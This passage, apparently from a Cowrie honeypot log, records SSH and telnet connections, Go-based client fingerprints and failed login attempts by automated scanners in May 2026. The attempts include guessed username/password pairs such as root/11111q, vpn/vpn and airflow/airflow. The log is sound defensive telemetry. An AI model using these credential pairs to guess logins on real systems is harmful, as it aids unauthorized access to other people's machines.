-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:10.099488Z","src_ip":"31.40.204.166","session":"46d30bffee14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:10.615189Z","src_ip":"31.40.204.166","session":"46d30bffee14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:11.795794Z","src_ip":"31.40.204.166","session":"46d30bffee14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46104,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c952c28afe5","protocol":"telnet","message":"New connection: 152.42.224.71:46104 (10.17.0.5:23) [session: 0c952c28afe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:15.172666Z"}
{"eventid":"cowrie.session.closed","duration":36.76903676986694,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:16.704435Z","src_ip":"152.42.224.71","session":"d5ad4df5e44d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37248,"dst_ip":"10.17.0.5","dst_port":23,"session":"6338730fffbd","protocol":"telnet","message":"New connection: 152.42.224.71:37248 (10.17.0.5:23) [session: 6338730fffbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:20.629091Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42054,"dst_ip":"159.203.135.109","dst_port":22,"session":"090f5f54caaf","protocol":"ssh","message":"New connection: 31.40.204.166:42054 (159.203.135.109:22) [session: 090f5f54caaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:22.381883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:22.387404Z","src_ip":"31.40.204.166","session":"090f5f54caaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:22.517813Z","src_ip":"31.40.204.166","session":"090f5f54caaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:23.003321Z","src_ip":"31.40.204.166","session":"090f5f54caaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:24.192347Z","src_ip":"31.40.204.166","session":"090f5f54caaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.654017686843872,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:24.613600Z","src_ip":"152.42.224.71","session":"9b62c94c9bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38124,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfbde87a8438","protocol":"ssh","message":"New connection: 103.77.175.15:38124 (159.203.135.109:22) [session: dfbde87a8438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:25.124069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:25.129257Z","src_ip":"103.77.175.15","session":"dfbde87a8438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:25.392219Z","src_ip":"103.77.175.15","session":"dfbde87a8438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.89795184135437,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:26.041804Z","src_ip":"152.42.224.71","session":"ce801d52e9e8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111q","message":"login attempt [root/11111q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:26.289482Z","src_ip":"103.77.175.15","session":"dfbde87a8438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.41993498802185,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:26.955860Z","src_ip":"152.42.224.71","session":"51efb9819e2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:27.546575Z","src_ip":"103.77.175.15","session":"dfbde87a8438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55260,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccbeb951f6aa","protocol":"telnet","message":"New connection: 152.42.224.71:55260 (10.17.0.5:23) [session: ccbeb951f6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:27.810098Z"}
{"eventid":"cowrie.session.closed","duration":25.62269139289856,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:35.381115Z","src_ip":"152.42.224.71","session":"1754f358ffeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43034,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b6c9e29128","protocol":"ssh","message":"New connection: 31.40.204.166:43034 (159.203.135.109:22) [session: f1b6c9e29128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:35.407990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:35.417447Z","src_ip":"31.40.204.166","session":"f1b6c9e29128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:35.585056Z","src_ip":"31.40.204.166","session":"f1b6c9e29128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:36.191095Z","src_ip":"31.40.204.166","session":"f1b6c9e29128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e1638af238","protocol":"telnet","message":"New connection: 152.42.224.71:44202 (10.17.0.5:23) [session: 01e1638af238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:36.928942Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:37.315381Z","src_ip":"31.40.204.166","session":"f1b6c9e29128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44204,"dst_ip":"10.17.0.5","dst_port":23,"session":"038d73eb4097","protocol":"telnet","message":"New connection: 152.42.224.71:44204 (10.17.0.5:23) [session: 038d73eb4097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:38.498156Z"}
{"eventid":"cowrie.session.closed","duration":"53.6","message":"Connection lost after 53.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:39.838120Z","src_ip":"116.34.14.135","session":"476993f3e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00282526016235,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:42.182301Z","src_ip":"152.42.224.71","session":"834e6e853eb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44208,"dst_ip":"10.17.0.5","dst_port":23,"session":"6253fc62bdf5","protocol":"telnet","message":"New connection: 152.42.224.71:44208 (10.17.0.5:23) [session: 6253fc62bdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:44.413848Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38628,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d47a368de9","protocol":"telnet","message":"New connection: 152.42.224.71:38628 (10.17.0.5:23) [session: 01d47a368de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:46.048584Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36186,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aaedff5fdb0","protocol":"ssh","message":"New connection: 31.40.204.166:36186 (159.203.135.109:22) [session: 9aaedff5fdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:47.610561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:47.622011Z","src_ip":"31.40.204.166","session":"9aaedff5fdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:47.788564Z","src_ip":"31.40.204.166","session":"9aaedff5fdb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:48.615638Z","src_ip":"31.40.204.166","session":"9aaedff5fdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:49.887055Z","src_ip":"31.40.204.166","session":"9aaedff5fdb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.60517454147339,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:55.738923Z","src_ip":"152.42.224.71","session":"458a23de8bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40030,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecf973b42423","protocol":"telnet","message":"New connection: 152.42.224.71:40030 (10.17.0.5:23) [session: ecf973b42423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:57.936509Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c007f3129100","protocol":"telnet","message":"New connection: 152.42.224.71:40044 (10.17.0.5:23) [session: c007f3129100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:58.816860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16d3ae8bc76","protocol":"telnet","message":"New connection: 152.42.224.71:40050 (10.17.0.5:23) [session: a16d3ae8bc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:01:59.836210Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42034,"dst_ip":"159.203.135.109","dst_port":22,"session":"c99d4bafe23a","protocol":"ssh","message":"New connection: 31.40.204.166:42034 (159.203.135.109:22) [session: c99d4bafe23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:00.130154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:00.192837Z","src_ip":"31.40.204.166","session":"c99d4bafe23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:00.304099Z","src_ip":"31.40.204.166","session":"c99d4bafe23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:00.896350Z","src_ip":"31.40.204.166","session":"c99d4bafe23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:02.023128Z","src_ip":"31.40.204.166","session":"c99d4bafe23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49524,"dst_ip":"10.17.0.5","dst_port":23,"session":"5008e64b32ee","protocol":"telnet","message":"New connection: 152.42.224.71:49524 (10.17.0.5:23) [session: 5008e64b32ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:06.737709Z"}
{"eventid":"cowrie.session.closed","duration":23.812175035476685,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:08.225916Z","src_ip":"152.42.224.71","session":"6253fc62bdf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"753e7a09fc0f","protocol":"telnet","message":"New connection: 152.42.224.71:49538 (10.17.0.5:23) [session: 753e7a09fc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:10.519717Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40866,"dst_ip":"159.203.135.109","dst_port":22,"session":"23576d96f74b","protocol":"ssh","message":"New connection: 31.40.204.166:40866 (159.203.135.109:22) [session: 23576d96f74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:12.314417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:12.319597Z","src_ip":"31.40.204.166","session":"23576d96f74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:12.509431Z","src_ip":"31.40.204.166","session":"23576d96f74b","protocol":"ssh"}
